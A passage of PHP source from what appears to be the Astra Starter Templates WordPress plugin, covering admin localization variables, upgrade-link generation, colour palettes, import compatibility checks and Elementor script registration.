'Starter-Template-Backend', ), 'https://wpastra.com/essential-toolkit-pricing/' ), 'beaver-builder' => add_query_arg( array( 'utm_source' => ! empty( $source ) ? $source : 'beaver-templates', 'utm_medium' => 'dashboard', 'utm_campaign' => 'Starter-Template-Backend', ), 'https://wpastra.com/beaver-builder-starter-templates/' ), 'gutenberg' => add_query_arg( array( 'utm_source' => ! empty( $source ) ? $source : 'gutenberg-templates', 'utm_medium' => 'dashboard', 'utm_campaign' => 'Starter-Template-Backend', ), 'https://wpastra.com/essential-toolkit-pricing/' ), 'brizy' => add_query_arg( array( 'utm_source' => ! empty( $source ) ? $source : 'brizy-templates', 'utm_medium' => 'dashboard', 'utm_campaign' => 'Starter-Template-Backend', ), 'https://wpastra.com/essential-toolkit-pricing/' ), ); } /** * Returns Localization Variables. * * @since 2.0.0 */ public function get_local_vars() { $stored_data = array( 'astra-sites-site-category' => array(), 'astra-site-page-builder' => array(), 'astra-sites' => array(), 'site-pages-category' => array(), 'site-pages-page-builder' => array(), 'site-pages-parent-category' => array(), 'site-pages' => array(), 'favorites' => get_option( 'astra-sites-favorites' ), ); $favorite_data = get_option( 'astra-sites-favorites' ); $license_status = false; if ( is_callable( 'BSF_License_Manager::bsf_is_active_license' ) ) { $license_status = BSF_License_Manager::bsf_is_active_license( 'astra-pro-sites' ); } $spectra_theme = 'not-installed'; // Theme installed and activate. if ( 'spectra-one' === get_option( 'stylesheet', 'astra' ) ) { $spectra_theme = 'installed-and-active'; } $enable_block_builder = apply_filters( 'st_enable_block_page_builder', false ); $saved_page_builder = Astra_Sites_Page::get_instance()->get_setting( 'page_builder' ); if ( 'beaver-builder' === $saved_page_builder && get_option( 'st-beaver-builder-flag' ) === '1' ) { $saved_page_builder = 'gutenberg'; } if ( 'elementor' === $saved_page_builder && get_option( 'st-elementor-builder-flag' ) === '1' ) { $saved_page_builder = 'gutenberg'; } $default_page_builder = ( 'installed-and-active' === $spectra_theme ) ? 'fse' : $saved_page_builder; $default_page_builder = ( $enable_block_builder && empty( $default_page_builder ) ) ? 'gutenberg' : $default_page_builder; $remove_parameters = array( 'credit_token', 'token', 'email', 'ast_action', 'nonce' ); $credit_request_params = array( 'success_url' => isset( $_SERVER['REQUEST_URI'] ) ? urlencode( $this->remove_query_params( network_home_url() . $_SERVER['REQUEST_URI'], $remove_parameters ) . '&ast_action=credits' ) : '', // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized ); $credit_purchase_url = defined( 'ZIP_AI_CREDIT_TOPUP_URL' ) ? ZIP_AI_CREDIT_TOPUP_URL : 'https://app.zipwp.com/credits-pricing'; $credit_purchase_url = add_query_arg( $credit_request_params, $credit_purchase_url ); if ( is_callable( '\SureCart\Models\ApiToken::get()' ) ) { $surecart_store_exist = \SureCart\Models\ApiToken::get(); } $plans = Astra_Sites_ZipWP_Integration::get_instance()->get_zip_plans(); $data = apply_filters( 'astra_sites_localize_vars', array( 'subscribed' => get_user_meta( get_current_user_ID(), 'astra-sites-subscribed', true ), 'debug' => defined( 'WP_DEBUG' ) ? true : false, 'isPro' => defined( 'ASTRA_PRO_SITES_NAME' ) ? true : false, 'isWhiteLabeled' => Astra_Sites_White_Label::get_instance()->is_white_labeled(), 'whiteLabelName' => Astra_Sites_White_Label::get_instance()->get_white_label_name(), 'whiteLabelUrl' => Astra_Sites_White_Label::get_instance()->get_white_label_link( '#' ), 'ajaxurl' => esc_url( admin_url( 'admin-ajax.php' ) ), 'siteURL' => site_url(), 'adminURL' => esc_url( admin_url() ), 'getProText' => __( 'Get Access!', 'astra-sites' ), 'getProURL' => esc_url( 'https://wpastra.com/starter-templates-plans/?utm_source=demo-import-panel&utm_campaign=astra-sites&utm_medium=wp-dashboard' ), 'getUpgradeText' => __( 'Upgrade', 'astra-sites' ), 'getUpgradeURL' => esc_url( 'https://wpastra.com/starter-templates-plans/?utm_source=demo-import-panel&utm_campaign=astra-sites&utm_medium=wp-dashboard' ), '_ajax_nonce' => current_user_can( 'edit_posts' ) ? wp_create_nonce( 'astra-sites' ) : '', 'requiredPlugins' => array(), 'syncLibraryStart' => '<span class="message">' . esc_html__( 'Syncing template library in the background. The process can take anywhere between 2 to 3 minutes. We will notify you once done.', 'astra-sites' ) . '</span>', 'xmlRequiredFilesMissing' => __( 'Some of the files required during the import process are missing.<br/><br/>Please try again after some time.', 'astra-sites' ), 'importFailedMessageDueToDebug' => __( '<p>WordPress debug mode is currently enabled on your website. This has interrupted the import process..</p><p>Kindly disable debug mode and try importing Starter Template again.</p><p>You can add the following code into the wp-config.php file to disable debug mode.</p><p><code>define(\'WP_DEBUG\', false);</code></p>', 'astra-sites' ), /* translators: %s is a documentation link. */ 'importFailedMessage' => sprintf( __( '<p>We are facing a temporary issue in importing this template.</p><p>Read <a href="%s" target="_blank">article</a> to resolve the issue and continue importing template.</p>', 'astra-sites' ), esc_url( 'https://wpastra.com/docs/fix-starter-template-importing-issues/' ) ), /* translators: %s is a documentation link. */ 'importFailedRequiredPluginsMessage' => sprintf( __( '<p>We are facing a temporary issue in installing the required plugins for this template.</p><p>Read <a href="%s" target="_blank">article</a> to resolve the issue and continue importing template.</p>', 'astra-sites' ), esc_url( 'https://wpastra.com/docs/plugin-installation-failed-multisite/' ) ), 'strings' => array( /* translators: %s are white label strings. */ 'warningBeforeCloseWindow' => sprintf( __( 'Warning! %1$s Import process is not complete. Don\'t close the window until import process complete. Do you still want to leave the window?', 'astra-sites' ), Astra_Sites_White_Label::get_instance()->get_white_label_name() ), 'viewSite' => __( 'Done! View Site', 'astra-sites' ), 'syncCompleteMessage' => self::get_instance()->get_sync_complete_message(), /* translators: %s is a template name */ 'importSingleTemplate' => __( 'Import "%s" Template', 'astra-sites' ), ), 'log' => array( 'bulkInstall' => __( 'Installing Required Plugins..', 'astra-sites' ), /* translators: %s are white label strings. */ 'themeInstall' => sprintf( __( 'Installing %1$s Theme..', 'astra-sites' ), Astra_Sites_White_Label::get_instance()->get_option( 'astra', 'name', 'Astra' ) ), ), 'default_page_builder' => $default_page_builder, 'default_page_builder_data' => Astra_Sites_Page::get_instance()->get_default_page_builder(), 'default_page_builder_sites' => Astra_Sites_Page::get_instance()->get_sites_by_page_builder( $default_page_builder ), 'sites' => astra_sites_get_api_params(), 'categories' => array(), 'page-builders' => array(), 'all_sites' => $this->get_all_sites(), 'all_site_categories' => Astra_Sites_File_System::get_instance()->get_json_file_content( 'astra-sites-all-site-categories.json' ), 'all_site_categories_and_tags' => Astra_Sites_File_System::get_instance()->get_json_file_content( 'astra-sites-all-site-categories-and-tags.json' ), 'license_status' => $license_status, 'license_page_builder' => get_option( 'astra-sites-license-page-builder', '' ), 'ApiDomain' => $this->api_domain, 'ApiURL' => $this->api_url, 'stored_data' => $stored_data, 'favorite_data' => $favorite_data, 'category_slug' => 'astra-sites-site-category', 'page_builder' => 'astra-site-page-builder', 'cpt_slug' => 'astra-sites', 'parent_category' => '', 'compatibilities' => $this->get_compatibilities(), 'compatibilities_data' => $this->get_compatibilities_data(), 'dismiss' => __( 'Dismiss this notice.', 'astra-sites' ), 'headings' => array( 'subscription' => esc_html__( 'One Last Step..', 'astra-sites' ), 'site_import' => esc_html__( 'Your Selected Website is Being Imported.', 'astra-sites' ), 'page_import' => esc_html__( 'Your Selected Template is Being Imported.', 'astra-sites' ), ), 'subscriptionSuccessMessage' => esc_html__( 'We have sent you a surprise gift on your email address! Please check your inbox!', 'astra-sites' ), 'first_import_complete' => get_option( 'astra_sites_import_complete' ), 'server_import_primary_error' => __( 'Looks like the template you are importing is temporarily not available.', 'astra-sites' ), 'client_import_primary_error' => __( 'We could not start the import process and this is the message from WordPress:', 'astra-sites' ), 'cloudflare_import_primary_error' => __( 'There was an error connecting to the Starter Templates API.', 'astra-sites' ), 'xml_import_interrupted_primary' => __( 'There was an error while importing the content.', 'astra-sites' ), 'xml_import_interrupted_secondary' => __( 'To import content, WordPress needs to store XML file in /wp-content/ folder. Please get in touch with your hosting provider.', 'astra-sites' ), 'xml_import_interrupted_error' => __( 'Looks like your host probably could not store XML file in /wp-content/ folder.', 'astra-sites' ), /* translators: %s HTML tags */ 'ajax_request_failed_primary' => sprintf( __( '%1$sWe could not start the import process due to failed AJAX request and this is the message from WordPress:%2$s', 'astra-sites' ), '<p>', '</p>' ), /* translators: %s URL to document. */ 'ajax_request_failed_secondary' => sprintf( __( '%1$sRead <a href="%2$s" target="_blank">article</a> to resolve the issue and continue importing template.%3$s', 'astra-sites' ), '<p>', esc_url( 'https://wpastra.com/docs/internal-server-error-starter-templates/' ), '</p>' ), 'cta_links' => $this->get_cta_links(), 'cta_quick_corner_links' => $this->get_cta_links( 'quick-links-corner' ), 'cta_premium_popup_links' => $this->get_cta_links( 'get-premium-access-popup' ), 'cta_link' => $this->get_cta_link(), 'cta_quick_corner_link' => $this->get_cta_link( 'quick-links-corner' ), 'cta_premium_popup_link' => $this->get_cta_link( 'get-premium-access-popup' ), /* translators: %s URL to document. */ 'process_failed_primary' => sprintf( __( '%1$sWe could not complete the import process due to failed AJAX request and this is the message:%2$s', 'astra-sites' ), '<p>', '</p>' ), /* translators: %s URL to document. */ 'process_failed_secondary' => sprintf( __( '%1$sPlease report this <a href="%2$s" target="_blank">here</a>.%3$s', 'astra-sites' ), '<p>', esc_url( 'https://wpastra.com/starter-templates-support/?url=#DEMO_URL#&subject=#SUBJECT#' ), '</p>' ), 'st_page_url' => admin_url( 'themes.php?page=starter-templates' ), 'staging_connected' => apply_filters( 'astra_sites_staging_connected', '' ), 'isRTLEnabled' => is_rtl(), /* translators: %s Anchor link to support URL. */ 'support_text' => sprintf( __( 'Please report this error%1$s here %2$s, so we can fix it.', 'astra-sites' ), '<a href="https://wpastra.com/support/open-a-ticket/" target="_blank">', '</a>' ), 'surecart_store_exists' => isset( $surecart_store_exist ) ? $surecart_store_exist : false, 'default_ai_categories' => $this->get_default_ai_categories(), 'block_color_palette' => $this->get_block_palette_colors(), 'page_color_palette' => $this->get_page_palette_colors(), 'rest_api_nonce' => ( current_user_can( 'manage_options' ) ) ? wp_create_nonce( 'wp_rest' ) : '', 'zip_token_exists' => Astra_Sites_ZipWP_Helper::get_token() !== '' ? true : false, 'zip_plans' => ( $plans && isset( $plans['data'] ) ) ? $plans['data'] : array(), 'dashboard_url' => admin_url(), 'placeholder_images' => Helper::get_image_placeholders(), 'get_more_credits_url' => $credit_purchase_url, 'dismiss_ai_notice' => Astra_Sites_Page::get_instance()->get_setting( 'dismiss_ai_promotion' ), 'showClassicTemplates' => apply_filters( 'astra_sites_show_classic_templates', true ), 'bgSyncInProgress' => 'in-process' === get_site_option( 'astra-sites-batch-status', '' ), ) ); return $data; } /** * Get palette colors * * @since 4.0.0 * * @return mixed */ public function get_page_palette_colors() { $default_palette_color = array( '#046bd2', '#045cb4', '#1e293b', '#334155', '#f9fafb', '#FFFFFF', '#e2e8f0', '#cbd5e1', '#94a3b8', ); if ( class_exists( 'Astra_Global_Palette' ) ) { $astra_palette_colors = astra_get_palette_colors(); $default_palette_color = $astra_palette_colors['palettes'][ $astra_palette_colors['currentPalette'] ]; } $palette_one = $default_palette_color; $palette_two = array( $default_palette_color[0], $default_palette_color[1], $default_palette_color[5], $default_palette_color[4], $default_palette_color[3], $default_palette_color[2], $default_palette_color[6], $default_palette_color[7], $default_palette_color[8], ); $color_palettes = array( 'style-1' => array( 'slug' => 'style-1', 'title' => 'Light', 'default_color' => $default_palette_color[4], 'colors' => $palette_one, ), 'style-2' => array( 'slug' => 'style-2', 'title' => 'Dark', 'default_color' => '#1E293B', 'colors' => $palette_two, ), ); return $color_palettes; } /** * Get default AI categories. * * @since 2.0.0 * * @return array */ public function get_default_ai_categories() { return array( 'business' => 'Business', 'person' => 'Person', 'organisation' => 'Organisation', 'restaurant' => 'Restaurant', 'product' => 'Product', 'event' => 'Event', 'landing-page' => 'Landing Page', 'medical' => 'Medical', ); } /** * Get palette colors * * @since 4.0.0 * * @return mixed */ public function get_block_palette_colors() { $default_palette_color = array( '#046bd2', '#045cb4', '#1e293b', '#334155', '#f9fafb', '#FFFFFF', '#e2e8f0', '#cbd5e1', '#94a3b8', ); if ( class_exists( 'Astra_Global_Palette' ) ) { $astra_palette_colors = astra_get_palette_colors(); $default_palette_color = $astra_palette_colors['palettes'][ $astra_palette_colors['currentPalette'] ]; } $palette_one = array( $default_palette_color[0], $default_palette_color[1], $default_palette_color[2], $default_palette_color[3], $default_palette_color[5], $default_palette_color[5], $default_palette_color[6], $default_palette_color[7], $default_palette_color[8], ); $palette_two = $default_palette_color; $palette_three = array( $default_palette_color[3], $default_palette_color[2], $default_palette_color[5], $default_palette_color[4], $default_palette_color[0], $default_palette_color[1], $default_palette_color[6], $default_palette_color[7], $default_palette_color[8], ); $color_palettes = array( 'style-1' => array( 'slug' => 'style-1', 'title' => 'Light', 'default_color' => $default_palette_color[5], 'colors' => $palette_one, ), 'style-2' => array( 'slug' => 'style-2', 'title' => 'Dark', 'default_color' => $default_palette_color[4], 'colors' => $palette_two, ), 'style-3' => array( 'slug' => 'style-3', 'title' => 'Highlight', 'default_color' => $default_palette_color[0], 'colors' => $palette_three, ), ); return $color_palettes; } /** * Display subscription form * * @since 2.6.1 * * @return boolean */ public function should_display_subscription_form() { $subscription = apply_filters( 'astra_sites_should_display_subscription_form', null ); if ( null !== $subscription ) { return $subscription; } // Is WhiteLabel enabled? if ( Astra_Sites_White_Label::get_instance()->is_white_labeled() ) { return false; } // Is Premium Starter Templates pluign? if ( defined( 'ASTRA_PRO_SITES_NAME' ) ) { return false; } // User already subscribed? $subscribed = get_user_meta( get_current_user_ID(), 'astra-sites-subscribed', true ); if ( $subscribed ) { return false; } return true; } /** * Import Compatibility Errors * * @since 2.0.0 * @return mixed */ public function get_compatibilities_data() { return array( 'xmlreader' => array( 'title' => esc_html__( 'XMLReader Support Missing', 'astra-sites' ), /* translators: %s doc link. */ 'tooltip' => '<p>' . esc_html__( 'You\'re close to importing the template. To complete the process, enable XMLReader support on your website..', 'astra-sites' ) . '</p><p>' . sprintf( __( 'Read an article <a href="%s" target="_blank">here</a> to resolve the issue.', 'astra-sites' ), 'https://wpastra.com/docs/xmlreader-missing/' ) . '</p>', ), 'curl' => array( 'title' => esc_html__( 'cURL Support Missing', 'astra-sites' ), /* translators: %s doc link. */ 'tooltip' => '<p>' . esc_html__( 'To run a smooth import, kindly enable cURL support on your website.', 'astra-sites' ) . '</p><p>' . sprintf( __( 'Read an article <a href="%s" target="_blank">here</a> to resolve the issue.', 'astra-sites' ), 'https://wpastra.com/docs/curl-support-missing/' ) . '</p>', ), 'wp-debug' => array( 'title' => esc_html__( 'Disable Debug Mode', 'astra-sites' ), /* translators: %s doc link. */ 'tooltip' => '<p>' . esc_html__( 'WordPress debug mode is currently enabled on your website. With this, any errors from third-party plugins might affect the import process.', 'astra-sites' ) . '</p><p>' . esc_html__( 'Kindly disable it to continue importing the Starter Template. To do so, you can add the following code into the wp-config.php file.', 'astra-sites' ) . '</p><p><code>define(\'WP_DEBUG\', false);</code></p><p>' . sprintf( __( 'Read an article <a href="%s" target="_blank">here</a> to resolve the issue.', 'astra-sites' ), 'https://wpastra.com/docs/disable-debug-mode/' ) . '</p>', ), 'update-available' => array( 'title' => esc_html__( 'Update Plugin', 'astra-sites' ), /* translators: %s update page link. */ 'tooltip' => '<p>' . esc_html__( 'Updates are available for plugins used in this starter template.', 'astra-sites' ) . '</p>##LIST##<p>' . sprintf( __( 'Kindly <a href="%s" target="_blank">update</a> them for a successful import. Skipping this step might break the template design/feature.', 'astra-sites' ), esc_url( network_admin_url( 'update-core.php' ) ) ) . '</p>', ), 'third-party-required' => array( 'title' => esc_html__( 'Required Plugins Missing', 'astra-sites' ), 'tooltip' => '<p>' . esc_html__( 'This starter template requires premium plugins. As these are third party premium plugins, you\'ll need to purchase, install and activate them first.', 'astra-sites' ) . '</p>', ), 'dynamic-page' => array( 'title' => esc_html__( 'Dynamic Page', 'astra-sites' ), 'tooltip' => '<p>' . esc_html__( 'The page template you are about to import contains a dynamic widget/module. Please note this dynamic data will not be available with the imported page.', 'astra-sites' ) . '</p><p>' . esc_html__( 'You will need to add it manually on the page.', 'astra-sites' ) . '</p><p>' . esc_html__( 'This dynamic content will be available when you import the entire site.', 'astra-sites' ) . '</p>', ), 'flexbox-container' => array( 'title' => esc_html__( 'Enable Flexbox Container from Elementor', 'astra-sites' ), /* translators: %s doc link. */ 'tooltip' => '<p>' . esc_html__( 'The Flexbox Container widget is disabled on your website. With this disabled, the import process will be affected. Kindly enable it to continue importing the Starter Template.', 'astra-sites' ) . '</p><p>' . sprintf( __( 'Read an article <a href="%s" target="_blank">here</a> to resolve the issue.', 'astra-sites' ), 'https://wpastra.com/docs/enable-flexbox-container-from-elementor' ) . '</p>', ), 'install-plugin-permission' => array( 'title' => esc_html__( 'Missing plugin installation permission', 'astra-sites' ), /* translators: %s doc link. */ 'tooltip' => '<p>' . esc_html__( 'You do not have permission to install the required plugin. You must have install permissions to proceed with the required plugin.', 'astra-sites' ) . '</p>', ), 'activate-plugin-permission' => array( 'title' => esc_html__( 'Missing plugin activation permission', 'astra-sites' ), /* translators: %s doc link. */ 'tooltip' => '<p>' . esc_html__( 'You do not have permission to activate the required plugin. You must have activate permissions to proceed with the required plugin.', 'astra-sites' ) . '</p>', ), 'wp-memory-limit' => array( 'title' => esc_html__( 'Insufficient Memory Limit', 'astra-sites' ), /* translators: %s doc link. */ 'tooltip' => '<p>' . esc_html__( 'The memory limit of your site is below the recommended 256MB. While you can proceed, increasing the memory limit is advised for a seamless import experience.', 'astra-sites' ) . '</p>', ), ); } /** * Get all compatibilities * * @since 2.0.0 * * @return array */ public function get_compatibilities() { $data = $this->get_compatibilities_data(); $compatibilities = array( 'errors' => array(), 'warnings' => array(), ); if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) { $compatibilities['warnings']['wp-debug'] = $data['wp-debug']; } if ( ! class_exists( 'XMLReader' ) ) { $compatibilities['errors']['xmlreader'] = $data['xmlreader']; } if ( ! function_exists( 'curl_version' ) ) { $compatibilities['errors']['curl'] = $data['curl']; } $flexbox_container = get_option( 'elementor_experiment-container' ); // Check if the value is 'inactive'. if ( 'inactive' === $flexbox_container ) { $compatibilities['warnings']['flexbox-container'] = $data['flexbox-container']; } $memory_limit = ini_get( 'memory_limit' ); // Convert memory limit to bytes for comparison. $memory_limit_in_bytes = wp_convert_hr_to_bytes( $memory_limit ); // 256MB in bytes. $required_memory_limit = 256 * 1024 * 1024; if ( $memory_limit_in_bytes < $required_memory_limit ) { $compatibilities['warnings']['wp-memory-limit'] = $data['wp-memory-limit']; } if ( ! current_user_can( 'install_plugins' ) ) { $compatibilities['errors']['install-plugin-permission'] = $data['install-plugin-permission']; } if ( ! current_user_can( 'activate_plugins' ) ) { $compatibilities['errors']['activate-plugin-permission'] = $data['activate-plugin-permission']; } return $compatibilities; } /** * Register module required js on elementor's action. * * @since 2.0.0 */ public function register_widget_scripts() { $page_builders = self::get_instance()->get_page_builders(); $has_elementor = false; // Use this filter to remove the Starter Templates button from Elementor Editor. $elementor_add_ast_site_button = apply_filters( 'starter_templates_hide_elementor_button', false ); foreach ( $page_builders as $page_builder ) { if ( 'elementor' === $page_builder['slug'] ) { $has_elementor = true; } } if ( ! $has_elementor ) { return; } if ( $elementor_add_ast_site_button ) { return; } wp_enqueue_script( 'astra-sites-helper', ASTRA_SITES_URI . 'inc/assets/js/helper.js', array( 'jquery' ), ASTRA_SITES_VER, true ); wp_enqueue_script( 'masonry' ); wp_enqueue_script( 'imagesloaded' ); wp_enqueue_script( 'astra-sites-elementor-admin-page', ASTRA_SITES_URI . 'inc/assets/js/elementor-admin-page.js', array( 'jquery', 'wp-util', 'updates', 'masonry', 'imagesloaded' ), ASTRA_SITES_VER, true ); wp_add_inline_script( 'astra-sites-elementor-admin-page', sprintf( 'var pagenow = "%s";', ASTRA_SITES_NAME ), 'after' ); wp_enqueue_style( 'astra-sites-admin', ASTRA_SITES_URI . 'inc/assets/css/admin.css', ASTRA_SITES_VER, true ); wp_style_add_data( 'astra-sites-admin', 'rtl', 'replace' ); $license_status = false; if ( is_callable( 'BSF_License_Manager::bsf_is_active_license' ) ) { $license_status = BSF_License_Manager::bsf_is_active_license( 'astra-pro-sites' ); } /* translators: %s are link. */ $license_msg = sprintf( __( 'This is a premium template available with Essential and Business Toolkits. you can purchase it from <a href="%s" target="_blank">here</a>.', 'astra-sites' ), 'https://wpastra.com/starter-templates-plans/' ); if ( defined( 'ASTRA_PRO_SITES_NAME' ) ) { /* translators: %s are link. */ $license_msg = sprintf( __( 'This is a premium template available with Essential and Business Toolkits. <a href="%s" target="_blank">Validate Your License</a> Key to import this template.', 'astra-sites' ), esc_url( admin_url( 'plugins.php?bsf-inline-license-form=astra-pro-sites' ) ) ); } $last_viewed_block_data = array(); // Retrieve the value of the 'blockID' parameter using filter_input(). $id = filter_input( INPUT_GET, 'blockID', FILTER_SANITIZE_STRING ); if ( ! empty( $id ) ) { $last_viewed_block_data = get_option( 'astra_sites_import_elementor_data_' . $id ) !== false ? get_option( 'astra_sites_import_elementor_data_' . $id ) : array(); } $data = apply_filters( 'astra_sites_render_localize_vars', array( 'plugin_name' => Astra_Sites_White_Label::get_instance()->get_white_label_name(), 'sites' => astra_sites_get_api_params(), 'version' => ASTRA_SITES_VER, 'settings' => array(), 'page-builders' => array(), 'categories' => array(), 'default_page_builder' => 'elementor', 'astra_blocks' => $this->get_all_blocks(), 'license_status' => $license_status, 'ajaxurl' => esc_url( admin_url( 'admin-ajax.php' ) ), 'default_page_builder_sites' => Astra_Sites_Page::get_instance()->get_sites_by_page_builder( 'elementor' ), 'ApiURL' => $this->api_url, '_ajax_nonce' => current_user_can( 'edit_posts' ) ? wp_create_nonce( 'astra-sites' ) : '', 'isPro' => defined( 'ASTRA_PRO_SITES_NAME' ) ? true : false, 'license_msg' => $license_msg, 'isWhiteLabeled' => Astra_Sites_White_Label::get_instance()->is_white_labeled(), 'getProText' => __( 'Get Access!', 'astra-sites' ), 'getProURL' => esc_url( 'https://wpastra.com/starter-templates-plans/?utm_source=demo-import-panel&utm_campaign=astra-sites&utm_medium=wp-dashboard' ), 'astra_block_categories' => Astra_Sites_File_System::get_instance()->get_json_file_content( 'astra-blocks-categories.json' ), 'siteURL' => site_url(), 'template' => esc_html__( 'Template', 'astra-sites' ), 'block' => esc_html__( 'Block', 'astra-sites' ), 'dismiss_text' => esc_html__( 'Dismiss', 'astra-sites' ), 'install_plugin_text' => esc_html__( 'Install Required Plugins', 'astra-sites' ), 'syncCompleteMessage' => self::get_instance()->get_sync_complete_message(), /* translators: %s are link. */ 'page_settings' => array( 'message' => __( 'You can locate <strong>Starter Templates Settings</strong> under the <strong>Page Settings</strong> of the Style Tab.', 'astra-sites' ), 'url' => '#', 'url_text' => __( 'Read More →', 'astra-sites' ), ), 'last_viewed_block_data' => $last_viewed_block_data, ) ); wp_localize_script( 'astra-sites-elementor-admin-page', 'astraElementorSites', $data ); } /** * Register module required js on elementor's action. * * @since 2.0.0 */ public function popup_styles() { wp_enqueue_style( 'astra-sites-elementor-admin-page', ASTRA_SITES_URI . 'inc/assets/css/elementor-admin.css', ASTRA_SITES_VER, true ); wp_enqueue_style( 'astra-sites-elementor-admin-page-dark', ASTRA_SITES_URI . 'inc/assets/css/elementor-admin-dark.css', ASTRA_SITES_VER, true ); wp_style_add_data( 'astra-sites-elementor-admin-page', 'rtl', 'replace' ); } /** * Get all sites * * @since 2.0.0 * @return array All sites. */ public function get_all_sites() { $sites_and_pages = array(); $total_requests = (int) Astra_Sites_File_System::get_instance()->get_json_file_content( 'astra-sites-requests.json' ); for ( $page = 1; $page <= $total_requests; $page++ ) { $current_page_data = Astra_Sites_File_System::get_instance()->get_json_file_content( 'astra-sites-and-pages-page-' . $page . '.json' ); if ( ! empty( $current_page_data ) ) { foreach ( $current_page_data as $page_id => $page_data ) { $sites_and_pages[ $page_id ] = $page_data; } } } return $sites_and_pages; } /** * Get all sites * * @since 2.2.4 * @param string $option Site options name. * @return mixed Site Option value. */ public function get_api_option( $option ) { return get_site_option( $option, array() ); } /** * Get all blocks * * @since 2.0.0 * @return array All Elementor Blocks. */ public function get_all_blocks() { $blocks = array(); $total_requests = (int) Astra_Sites_File_System::get_instance()->get_json_file_content( 'astra-blocks-requests.json' ); for ( $page = 1; $page <= $total_requests; $page++ ) { $current_page_data = Astra_Sites_File_System::get_instance()->get_json_file_content( 'astra-blocks-' . $page . '.json' ); if ( ! empty( $current_page_data ) ) { foreach ( $current_page_data as $page_id => $page_data ) { $blocks[ $page_id ] = $page_data; } } } return $blocks; } /** * Load all the required files in the importer. * * @since 1.0.0 */ private function includes() { require_once ASTRA_SITES_DIR . 'inc/classes/functions.php'; require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/class-astra-sites-compatibility.php'; // classes 'inc/classes/class-astra-sites-'. require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-update.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-utils.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-error-handler.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-white-label.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-page.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-elementor-pages.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-elementor-images.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-importer.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-wp-cli.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-file-system.php'; require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-nps-notice.php'; // libraries 'inc/lib/class-astra-sites-'. require_once ASTRA_SITES_DIR . 'inc/lib/onboarding/class-onboarding.php'; require_once ASTRA_SITES_DIR . 'inc/lib/class-astra-sites-ast-block-templates.php'; require_once ASTRA_SITES_DIR . 'inc/lib/class-astra-sites-zip-ai.php'; require_once ASTRA_SITES_DIR . 'inc/lib/class-astra-sites-zipwp-images.php'; require_once ASTRA_SITES_DIR . 'inc/lib/class-astra-sites-nps-survey.php'; } /** * After Plugin Activate * * @since 2.0.0 * * @param string $plugin_init Plugin Init File. * @param array $options Site Options. * @param array $enabled_extensions Enabled Extensions. * @return void */ public function after_plugin_activate( $plugin_init = '', $options = array(), $enabled_extensions = array() ) { $data = array( 'astra_site_options' => $options, 'enabled_extensions' => $enabled_extensions, ); do_action( 'astra_sites_after_plugin_activation', $plugin_init, $data ); } /** * Has Pro Version Support? * And * Is Pro Version Installed? * * Check Pro plugin version exist of requested plugin lite version. * * Eg. If plugin 'BB Lite Version' required to import demo. Then we check the 'BB Agency Version' is exist? * If yes then we only 'Activate' Agency Version. [We couldn't install agency version.] * Else we 'Activate' or 'Install' Lite Version. * * @since 1.0.1 * * @param string $lite_version Lite version init file. * @return mixed Return false if not installed or not supported by us * else return 'Pro' version details. */ public function pro_plugin_exist( $lite_version = '' ) { // Lite init => Pro init. $plugins = apply_filters( 'astra_sites_pro_plugin_exist', array( 'beaver-builder-lite-version/fl-builder.php' => array( 'slug' => 'bb-plugin', 'init' => 'bb-plugin/fl-builder.php', 'name' => 'Beaver Builder Plugin', ), 'ultimate-addons-for-beaver-builder-lite/bb-ultimate-addon.php' => array( 'slug' => 'bb-ultimate-addon', 'init' => 'bb-ultimate-addon/bb-ultimate-addon.php', 'name' => 'Ultimate Addon for Beaver Builder', ), 'wpforms-lite/wpforms.php' => array( 'slug' => 'wpforms', 'init' => 'wpforms/wpforms.php', 'name' => 'WPForms', ), ), $lite_version ); if ( isset( $plugins[ $lite_version ] ) ) { // Pro plugin directory exist? if ( file_exists( WP_PLUGIN_DIR . '/' . $plugins[ $lite_version ]['init'] ) ) { return $plugins[ $lite_version ]; } } return false; } /** * Get Default Page Builders * * @since 2.0.0 * @return array */ public function get_default_page_builders() { return array( array( 'id' => 42, 'slug' => 'gutenberg', 'name' => 'Gutenberg', ), array( 'id' => 33, 'slug' => 'elementor', 'name' => 'Elementor', ), array( 'id' => 34, 'slug' => 'beaver-builder', 'name' => 'Beaver Builder', ), array( 'id' => 41, 'slug' => 'brizy', 'name' => 'Brizy', ), ); } /** * Get Page Builders * * @since 2.0.0 * @return array */ public function get_page_builders() { return $this->get_default_page_builders(); } /** * Get Page Builder Filed * * @since 2.0.0 * @param string $page_builder Page Bulider. * @param string $field Field name. * @return mixed */ public function get_page_builder_field( $page_builder = '', $field = '' ) { if ( empty( $page_builder ) ) { return ''; } $page_builders = self::get_instance()->get_page_builders(); if ( empty( $page_builders ) ) { return ''; } foreach ( $page_builders as $key => $current_page_builder ) { if ( $page_builder === $current_page_builder['slug'] ) { if ( isset( $current_page_builder[ $field ] ) ) { return $current_page_builder[ $field ]; } } } return ''; } /** * Get License Key * * @since 2.0.0 * @return string */ public function get_license_key() { if ( class_exists( 'BSF_License_Manager' ) ) { if ( BSF_License_Manager::bsf_is_active_license( 'astra-pro-sites' ) ) { return BSF_License_Manager::instance()->bsf_get_product_info( 'astra-pro-sites', 'purchase_key' ); } } return ''; } /** * Get Sync Complete Message * * @since 2.0.0 * @param boolean $echo Echo the message. * @return mixed */ public function get_sync_complete_message( $echo = false ) { $message = __( 'Template library refreshed!', 'astra-sites' ); if ( $echo ) { echo esc_html( $message ); } else { return esc_html( $message ); } } /** * Get an instance of WP_Filesystem_Direct. * * @since 2.0.0 * @return mixed A WP_Filesystem_Direct instance. */ public static function get_filesystem() { global $wp_filesystem; require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem(); return $wp_filesystem; } /** * Disable 